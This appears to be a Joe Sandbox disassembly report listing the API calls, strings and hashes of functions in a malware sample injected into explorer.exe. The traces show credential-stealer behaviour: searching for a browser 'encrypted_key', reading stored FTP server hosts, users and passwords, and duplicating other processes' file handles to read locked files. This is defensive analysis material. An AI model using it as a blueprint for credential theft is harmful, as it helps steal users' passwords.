Function 03271C31 Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000000,00000000,00000000,03273E1E,00000000,?,03273FA8), ref: 03271C46
GetFileSize.KERNEL32(00000000,00000000,00000000,?,03273FA8), ref: 03271C56
CloseHandle.KERNELBASE(00000000,?,03273FA8), ref: 03271C91

Part of subcall function 03271000: GetProcessHeap.KERNEL32(00000008,?,032711C7,?,?,00000001,00000000,?), ref: 03271003
Part of subcall function 03271000: RtlAllocateHeap.NTDLL(00000000), ref: 0327100A

ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000,?,03273FA8), ref: 03271C76

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: File$Heap$AllocateCloseCreateHandleProcessReadSize
String ID:
API String ID: 2517252058-0
Opcode ID: b7a5cb366188cad9cc1f06ca21384d25693e1f5ddb09a9687234749152c966d0
Instruction ID: af115a4d752c6577e8bdda6b5be001e09112ae571bfe4896995196634a461e25
Opcode Fuzzy Hash: b7a5cb366188cad9cc1f06ca21384d25693e1f5ddb09a9687234749152c966d0
Instruction Fuzzy Hash: 9FF028322202187BD320AA66EC8DF7B7A5CFF466F6F1A031CF805921C0DB7278918171

Function 03272FB1 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 31stringCOMMON

Download Yara Rule

APIs

StrStrIA.KERNELBASE(00000000,"encrypted_key":",00000000,00000000,00000000,03273E30,00000000,00000000,?,03273FA8), ref: 03272FC1
lstrlen.KERNEL32("encrypted_key":",?,03273FA8), ref: 03272FCE
StrStrIA.SHLWAPI("encrypted_key":",032C692C,?,03273FA8), ref: 03272FDD

Part of subcall function 0327190B: lstrlen.KERNEL32(?,?,?,?,00000000,03272783), ref: 0327192B
Part of subcall function 0327190B: lstrlen.KERNEL32(00000000,?,?,?,00000000,03272783), ref: 03271930
Part of subcall function 0327190B: lstrcat.KERNEL32(00000000,?), ref: 03271946
Part of subcall function 0327190B: lstrcat.KERNEL32(00000000,00000000), ref: 0327194A

Strings

"encrypted_key":", xrefs: 03272FBA, 03272FBF, 03272FCD, 03272FDC

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: lstrlen$lstrcat
String ID: "encrypted_key":"
API String ID: 493641738-877455259
Opcode ID: 0e7962468f37f4cd111f0334417c979694be83d130f8aab564162d1a315eca46
Instruction ID: fe260829b579ca5ac4c23c345acba5e98a22bd74172437c864f01d7b1c3025c5
Opcode Fuzzy Hash: 0e7962468f37f4cd111f0334417c979694be83d130f8aab564162d1a315eca46
Instruction Fuzzy Hash: 47E09B627357669F8361FBB92C48847BF58AE4741130D4068E541D7202DEE19442D2A5

Function 0327BAFC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000000,00000000,00000000,?,readonly_shm,00000000,00000000,?,?,?), ref: 0327BB40

Strings

winDelete, xrefs: 0327BB6A

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: AttributesFile
String ID: winDelete
API String ID: 3188754299-3936022152
Opcode ID: 4db75bcfd7f2724feb7cdf9f0218ecce280dafbc88f30cb5b489599e5ab2a3e6
Instruction ID: 1b8f23e9b7425ef82896fd3432d54704b2b36dfc850cd9a4a56a67ac24811a6f
Opcode Fuzzy Hash: 4db75bcfd7f2724feb7cdf9f0218ecce280dafbc88f30cb5b489599e5ab2a3e6
Instruction Fuzzy Hash: 86114834A20209EBDB10EB649849C7D7779FF81720F149155EC02D7288DB7099918782

Function 03272EA5 Relevance: 4.5, APIs: 3, Instructions: 43registryCOMMON

Download Yara Rule

APIs

Part of subcall function 03271011: GetProcessHeap.KERNEL32(00000000,00000000,?,03271A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,03271AE2), ref: 03271020
Part of subcall function 03271011: RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,03271AE2,PortNumber,00000000,00000000), ref: 03271027

Part of subcall function 03271000: GetProcessHeap.KERNEL32(00000008,?,032711C7,?,?,00000001,00000000,?), ref: 03271003
Part of subcall function 03271000: RtlAllocateHeap.NTDLL(00000000), ref: 0327100A

RegOpenKeyExW.KERNELBASE(?,?,00000000,00020119,?), ref: 03272EE4
RegEnumKeyExW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 03272F54
RegCloseKey.KERNELBASE(?), ref: 03272F62

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: Heap$Process$AllocateCloseEnumFreeOpen
String ID:
API String ID: 1066184869-0
Opcode ID: 921c51bfb5babf5460d567cda171ec4271d218b0679499a92e54e8fb67a9d8bd
Instruction ID: 2a6b667f01f470db5637c7ee6a48a8720c208c6bdde142e72741d818db36ae54
Opcode Fuzzy Hash: 921c51bfb5babf5460d567cda171ec4271d218b0679499a92e54e8fb67a9d8bd
Instruction Fuzzy Hash: A601A235224351ABC715EF22DC08E6FBBA9FFC4350F04442DF80996144DB759895EBE2

Function 03274B72 Relevance: 4.5, APIs: 3, Instructions: 8COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 03274B74
CoUninitialize.COMBASE ref: 03274B83
ExitProcess.KERNEL32 ref: 03274B8B

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: ExitInitializeProcessUninitialize
String ID:
API String ID: 4175140541-0
Opcode ID: a4e24f65892e73e846c38c19616a9fa5b55211c02cd9dbcd40c616fdc44ad8b9
Instruction ID: 09a59f9544eca0982e2177d143b7edf0e1a671b9a0f89571011bf17bcc64415c
Opcode Fuzzy Hash: a4e24f65892e73e846c38c19616a9fa5b55211c02cd9dbcd40c616fdc44ad8b9
Instruction Fuzzy Hash: 7BC04C362642014BE7807BF27C0E7093518BF05B13F089000E20589084DAA454408623

Function 03279FC8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00BD0000,00000000), ref: 03279FF8

Strings

failed to HeapCreate (%lu), flags=%u, initSize=%lu, maxSize=%lu, xrefs: 0327A00E

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: CreateHeap
String ID: failed to HeapCreate (%lu), flags=%u, initSize=%lu, maxSize=%lu
API String ID: 10892065-982776804
Opcode ID: 677e9f62cbd4d403beba607afba640656ae1fdcd413c08f147ab79f1a8a20c17
Instruction ID: e29b249320cff353ff353de90465632d0075863b19ec57e7f61e61c21377bf74
Opcode Fuzzy Hash: 677e9f62cbd4d403beba607afba640656ae1fdcd413c08f147ab79f1a8a20c17
Instruction Fuzzy Hash: 84F02B73B34342BEE730EA98AC88F3B679CF785795F144819F94596284E3B06CC18671

Function 03271AFE Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 03271000: GetProcessHeap.KERNEL32(00000008,?,032711C7,?,?,00000001,00000000,?), ref: 03271003
Part of subcall function 03271000: RtlAllocateHeap.NTDLL(00000000), ref: 0327100A

SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,00000000,00000000,?,?,03272E83,PathToExe,00000000,00000000), ref: 03271B16

Part of subcall function 03271011: GetProcessHeap.KERNEL32(00000000,00000000,?,03271A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,03271AE2), ref: 03271020
Part of subcall function 03271011: RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,03271AE2,PortNumber,00000000,00000000), ref: 03271027

Part of subcall function 032719E5: RegOpenKeyExW.KERNELBASE(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,03271AE2,PortNumber,00000000,00000000), ref: 03271A1E
Part of subcall function 032719E5: RegQueryValueExW.KERNELBASE(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 03271A3C
Part of subcall function 032719E5: RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 03271A75
Part of subcall function 032719E5: RegCloseKey.KERNELBASE(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,03271AE2,PortNumber,00000000,00000000), ref: 03271A98

Strings

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 03271B40

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: Heap$ProcessQueryValue$AllocateCloseFolderFreeOpenPath
String ID: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
API String ID: 2162223993-2036018995
Opcode ID: e02642219ab48ffe4846f17a62e2cadfa5e79583690850645f13b013bb06cd55
Instruction ID: bdf56807533405343b55b62f8a88578834f8f09d3e22a2a283e399c83cbc2fbf
Opcode Fuzzy Hash: e02642219ab48ffe4846f17a62e2cadfa5e79583690850645f13b013bb06cd55
Instruction Fuzzy Hash: 34F0242772064827C220B96BDC88E6B364EEFC12A631A0029F81987241EE327CA15270

Function 0327A33B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,00000000), ref: 0327A35F

Strings

winSeekFile, xrefs: 0327A381

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: FilePointer
String ID: winSeekFile
API String ID: 973152223-3168307952
Opcode ID: 49a911f73ac9d2febf5d8427f609447f2074500d641581e925abd0ca5c6b6d3f
Instruction ID: 0eed61a56b8424301c0dab1b64ab01bfb80d513caa7f175e77789d7035acb744
Opcode Fuzzy Hash: 49a911f73ac9d2febf5d8427f609447f2074500d641581e925abd0ca5c6b6d3f
Instruction Fuzzy Hash: E3F09030A25204AFE711DE64EC049BA77A9FB45331B14C36ABC61CA7C4DA70DD509AA1

Function 03279EA7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(05450000,00000000,?), ref: 03279EB5

Strings

failed to HeapAlloc %u bytes (%lu), heap=%p, xrefs: 03279ECD

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: AllocateHeap
String ID: failed to HeapAlloc %u bytes (%lu), heap=%p
API String ID: 1279760036-667713680
Opcode ID: f389671102a8b91a377049ae74157a00d607c2e3aaa63dbf43084ed5d5ea5874
Instruction ID: 071051701148c7a19d1336a7b2877cd9b0b2c3b8ce35f8be2ec3c62d8bb94370
Opcode Fuzzy Hash: f389671102a8b91a377049ae74157a00d607c2e3aaa63dbf43084ed5d5ea5874
Instruction Fuzzy Hash: 46E0C237A14311BFC2127688BC08F2FB768EB84F10F058015FA00A6A09C670A8A2D7E2

Function 03279EE8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(05450000,00000000,?), ref: 03279EF8

Strings

failed to HeapFree block %p (%lu), heap=%p, xrefs: 03279F0E

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: FreeHeap
String ID: failed to HeapFree block %p (%lu), heap=%p
API String ID: 3298025750-4030396798
Opcode ID: d4c4e5c926c5b6e6b8158d1b4de09da8c6fd9bd9f530b13b1dc24668e3bc4a0a
Instruction ID: 955a3b5a1fb410f59ea125603da25759e7915edd1fec5c82d9c1613194d6b2e5
Opcode Fuzzy Hash: d4c4e5c926c5b6e6b8158d1b4de09da8c6fd9bd9f530b13b1dc24668e3bc4a0a
Instruction Fuzzy Hash: D6D01277658302BBD241AA54BC09F3B777DAB95A00F494419F11495459D37060E2AF62

Function 03271B6A Relevance: 3.0, APIs: 2, Instructions: 25fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,03272893,00000000,00000000,00000000,?), ref: 03271B82
CloseHandle.KERNELBASE(00000000), ref: 03271B8F

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID:
API String ID: 3498533004-0
Opcode ID: 549a3bc1980c17d3d36cec6403388f12fdcefb07ea9fa269e247cf36deff729f
Instruction ID: 57d122b060ac359d54c159a82bea10acf51e56e94b89e14b6a0703deac254039
Opcode Fuzzy Hash: 549a3bc1980c17d3d36cec6403388f12fdcefb07ea9fa269e247cf36deff729f
Instruction Fuzzy Hash: 53D01771263631A2E5B5A6357C0CFA7AE1CFF02AB5B0C4614B41DE54C8E22498D782E0

Function 03271011 Relevance: 3.0, APIs: 2, Instructions: 12memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 03271162: VirtualQuery.KERNEL32(?,?,0000001C), ref: 0327116F

GetProcessHeap.KERNEL32(00000000,00000000,?,03271A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,03271AE2), ref: 03271020
RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,03271AE2,PortNumber,00000000,00000000), ref: 03271027

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: Heap$FreeProcessQueryVirtual
String ID:
API String ID: 2580854192-0
Opcode ID: af7b2b191bae4483a7f21cad41e372cf28882eb2caa5cc89cdd4cada5bfa4f80
Instruction ID: c50f78a474d2611c15c8432f0c3e3a12f4c101f2a12da5397f7e5f0c59d93afe
Opcode Fuzzy Hash: af7b2b191bae4483a7f21cad41e372cf28882eb2caa5cc89cdd4cada5bfa4f80
Instruction Fuzzy Hash: D3C08C3202022052C96077A1380CBDB2B08EF09923F080081B8419B245CAF1888082A0

Function 03271000 Relevance: 3.0, APIs: 2, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,?,032711C7,?,?,00000001,00000000,?), ref: 03271003
RtlAllocateHeap.NTDLL(00000000), ref: 0327100A

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 5b4a5855429f69d9419aece50287c22d9adba39d55f283791fb1c2c4bb251b24
Instruction ID: dadd0eadbba971dd463aea72c56548e869fba0f7df1880da9b4e34beee106dfd
Opcode Fuzzy Hash: 5b4a5855429f69d9419aece50287c22d9adba39d55f283791fb1c2c4bb251b24
Instruction Fuzzy Hash: 50A002B55601045FDD4477A5BA0DB1A3518FB44B03F148544718586545D9E454048721

Function 032712A3 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

RtlZeroMemory.NTDLL(?,00000018), ref: 032712B5

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: MemoryZero
String ID:
API String ID: 816449071-0
Opcode ID: f81b90fdcace0c9ffadd1b35ccb4bbe5686508042d77122d1000604c783c8b62
Instruction ID: 0bf87586162aa5538aa3651236daffd90017ac464a0e5afc7f8e1facb804f733
Opcode Fuzzy Hash: f81b90fdcace0c9ffadd1b35ccb4bbe5686508042d77122d1000604c783c8b62
Instruction Fuzzy Hash: E6110AB1A11209AFDB10EFA5E988ABEB7BCFF08641B144029F945E3240D770DA44CB60

Function 03271B9D Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000000,00000000,03272C8F,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 03271BAA

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 278a69b8b08c0b13b906bc614435da82d2509883fe5677a734bfdf94904b38ec
Instruction ID: 7f5cf9317dfcb2a75427b07664c49f065f6e23bd21851fac4a1ff04fa6313c36
Opcode Fuzzy Hash: 278a69b8b08c0b13b906bc614435da82d2509883fe5677a734bfdf94904b38ec
Instruction Fuzzy Hash: A3D0A933E23432828A74AA38380C8A2E2807E8057431E03B4FC26F34C4E234ECE342C0

Function 03271677 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 03271684

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: CreateGlobalStream
String ID:
API String ID: 2244384528-0
Opcode ID: c375d3b49bf918237ad69a5ebbe4f11bc1110763d862aef70968700663ff2165
Instruction ID: 43cfd37ab0ba4d9394f8cf64ccb33531d6912bc788ee5607d52a1febc48b4ac9
Opcode Fuzzy Hash: c375d3b49bf918237ad69a5ebbe4f11bc1110763d862aef70968700663ff2165
Instruction Fuzzy Hash: 4AC08C31130232DFE7302A309C0AB8636D8EF09BB2F0A0969E0C19D0C0E2F848C0CA91

Function 0327104C Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,0327158A), ref: 03271056

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 78cf39cee7a927a49b00abc06f82b703b7552ee1cb7f7ad0b4b98f1beeb957f1
Instruction ID: efc7df3bf6ff48d1ce52bb8983561edacefb7cd83123f7a037e23bc5c900dbe5
Opcode Fuzzy Hash: 78cf39cee7a927a49b00abc06f82b703b7552ee1cb7f7ad0b4b98f1beeb957f1
Instruction Fuzzy Hash: FFA002F07E57007AFD696762BE1FF152938AB40F02F144244B30D7C0C456E47500852D

Function 0327105D Relevance: 1.3, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000,03274A5B,?,?,00000000,?,?,?,?,03274B66,?), ref: 03271065

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: ba4c09fdc16772d866da8f97fdf609cede259a87ea2540edf869abf1bdb46970
Instruction ID: a8ecf31187cf5d29a0bc4dabe51ca7399f6794964c3e5c7ae7099c2d517ffbc6
Opcode Fuzzy Hash: ba4c09fdc16772d866da8f97fdf609cede259a87ea2540edf869abf1bdb46970
Instruction Fuzzy Hash: 18A002706A070066EDB467206D0EF1526146740F02F2485447281A95C549E5E0448A18

Non-executed Functions

Function 0327349B Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 201nativefilestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000000,00000000,00000003,00000000,00000000,00000000,00000000,?,00000000), ref: 032734C0

Part of subcall function 032733C3: NtQueryInformationFile.NTDLL(00000000,00002000,00000000,00002000,0000002F), ref: 03273401

OpenProcess.KERNEL32(00000440,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,032737A8), ref: 032734E9

Part of subcall function 03271000: GetProcessHeap.KERNEL32(00000008,?,032711C7,?,?,00000001,00000000,?), ref: 03271003
Part of subcall function 03271000: RtlAllocateHeap.NTDLL(00000000), ref: 0327100A

NtQueryInformationProcess.NTDLL(00000000,00000033,00000000,?,?), ref: 0327351E
NtQueryInformationProcess.NTDLL(00000000,00000033,00000000,?,?), ref: 03273541
GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002), ref: 03273586
DuplicateHandle.KERNEL32(00000000,00000000,00000000), ref: 0327358F
lstrcmpiW.KERNEL32(00000000,File), ref: 032735B6
NtQueryObject.NTDLL(?,00000001,00000000,00001000,00000000), ref: 032735DE
StrRChrW.SHLWAPI(?,00000000,0000005C), ref: 032735F6
StrRChrW.SHLWAPI(?,00000000,0000005C), ref: 03273606
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0327361E
GetFileSize.KERNEL32(?,00000000), ref: 03273631
SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 03273658
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 0327366B
ReadFile.KERNEL32(?,?,00000000,?,00000000), ref: 03273681
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 032736AD
CloseHandle.KERNEL32(?), ref: 032736C0
CloseHandle.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,032737A8), ref: 032736F5

Part of subcall function 03271C9F: CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000000,00000000), ref: 03271CC0
Part of subcall function 03271C9F: WriteFile.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000002,00000000,00000002,00000000,00000000), ref: 03271CDA
Part of subcall function 03271C9F: CloseHandle.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000002,00000000,00000002,00000000,00000000), ref: 03271CE6

CloseHandle.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,?,032737A8), ref: 03273707

Strings

File, xrefs: 032735B0

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: File$HandleProcess$CloseQuery$InformationPointer$CreateHeaplstrcmpi$AllocateCurrentDuplicateObjectOpenReadSizeWrite
String ID: File
API String ID: 3915112439-749574446
Opcode ID: 86d6615e1eb20a87852620128a46e3379c663da3c967ac8a0364c56f1b200673
Instruction ID: aff085d8b72e9192dffa2d240bb8561b47222161fea0acdef46a9c6bd1cdcd32
Opcode Fuzzy Hash: 86d6615e1eb20a87852620128a46e3379c663da3c967ac8a0364c56f1b200673
Instruction Fuzzy Hash: B061B475224301AFD720EF21DC48F2BBBE9FF88751F18052CFA8696290D775D8849B95

Function 032C4438 Relevance: 19.9, APIs: 3, Strings: 10, Instructions: 359COMMON

Download Yara Rule

APIs

memcmp.NTDLL(localhost,00000007,00000009,00000002,?,00000000,000001D8,?,00000000), ref: 032C4502
memcmp.NTDLL(00000000,?,?,00000002,?,00000000,000001D8,?,00000000), ref: 032C475F
memcpy.NTDLL(00000000,00000000,00000000,00000002,?,00000000,000001D8,?,00000000), ref: 032C4803

Strings

mode, xrefs: 032C4712
localhost, xrefs: 032C44FD
access, xrefs: 032C4725
cache, xrefs: 032C46FA
invalid uri authority: %.*s, xrefs: 032C4513
no such vfs: %s, xrefs: 032C482F
no such %s mode: %s, xrefs: 032C4784
%s mode not allowed: %s, xrefs: 032C47D0
file, xrefs: 032C4474
cach, xrefs: 032C46DC

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: memcmp$memcpy
String ID: %s mode not allowed: %s$access$cach$cache$file$invalid uri authority: %.*s$localhost$mode$no such %s mode: %s$no such vfs: %s
API String ID: 231171946-1096842476
Opcode ID: 5e5fbcbb945ea50f790540c81bc3d58fde5bde4b4c1a5bc8dec47d91deacb8dc
Instruction ID: 113befc179b1478875270d2f65189307927c70243dc60b27fec812e5411619d0
Opcode Fuzzy Hash: 5e5fbcbb945ea50f790540c81bc3d58fde5bde4b4c1a5bc8dec47d91deacb8dc
Instruction Fuzzy Hash: BDC14570A383C38BDB36EE1A846077BB7E5AF85214F18075EE8D587246C774D4C98B42

Function 03295F08 Relevance: 12.3, APIs: 1, Strings: 7, Instructions: 328COMMON

Download Yara Rule

APIs

Part of subcall function 03276AAA: memset.NTDLL ref: 03276AC5

memset.NTDLL ref: 03295F53

Strings

cannot open %s column for writing, xrefs: 03296255
foreign key, xrefs: 032960A3
cannot open table without rowid: %s, xrefs: 03295FCF
indexed, xrefs: 032960E8
no such column: "%s", xrefs: 03296271
cannot open view: %s, xrefs: 03295FF3
cannot open virtual table: %s, xrefs: 03295FAA

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: memset
String ID: cannot open %s column for writing$cannot open table without rowid: %s$cannot open view: %s$cannot open virtual table: %s$foreign key$indexed$no such column: "%s"
API String ID: 2221118986-594550510
Opcode ID: 73204687cc2c7e8e66a49aad4a7d13bb927b0498fe8bd5c9aab1c34e1cac019d
Instruction ID: bde89ac149a6ee279f0b06fc38fe6dd5cd4aa5d65e8893aa70e25efad6f04b50
Opcode Fuzzy Hash: 73204687cc2c7e8e66a49aad4a7d13bb927b0498fe8bd5c9aab1c34e1cac019d
Instruction Fuzzy Hash: 07C1A174A247429FDB14DF24C480A2EF7E2BF88710F14892EF8549B241D775D996CB92

Function 03274440 Relevance: 38.8, APIs: 12, Strings: 10, Instructions: 289stringcommemoryCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(032C62B0,00000000,00000001,032C62A0,?), ref: 0327445F
SysAllocString.OLEAUT32(?), ref: 032744AA
lstrcmpiW.KERNEL32(RecentServers,?), ref: 0327456E
lstrcmpiW.KERNEL32(Servers,?), ref: 0327457D
lstrcmpiW.KERNEL32(Settings,?), ref: 0327458C

Part of subcall function 032711E1: lstrlenW.KERNEL32(?,7591F360,00000000,?,00000000,?,032746E3), ref: 032711ED
Part of subcall function 032711E1: CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 0327120F
Part of subcall function 032711E1: CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 03271231

lstrcmpiW.KERNEL32(Server,?), ref: 032745BE
lstrcmpiW.KERNEL32(LastServer,?), ref: 032745CD
lstrcmpiW.KERNEL32(Host,?), ref: 03274657
lstrcmpiW.KERNEL32(Port,?), ref: 03274679
lstrcmpiW.KERNEL32(User,?), ref: 0327469F
lstrcmpiW.KERNEL32(Pass,?), ref: 032746C5
wsprintfW.USER32 ref: 0327471E

Strings

Pass, xrefs: 032746C0
RecentServers, xrefs: 03274569
Server, xrefs: 032745B9
Host, xrefs: 03274652
%s:%s, xrefs: 03274718
Port, xrefs: 03274674
Servers, xrefs: 03274578
Settings, xrefs: 03274587
LastServer, xrefs: 032745C8
User, xrefs: 0327469A

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: lstrcmpi$String$BinaryCrypt$AllocCreateInstancelstrlenwsprintf
String ID: %s:%s$Host$LastServer$Pass$Port$RecentServers$Server$Servers$Settings$User
API String ID: 2230072276-1234691226
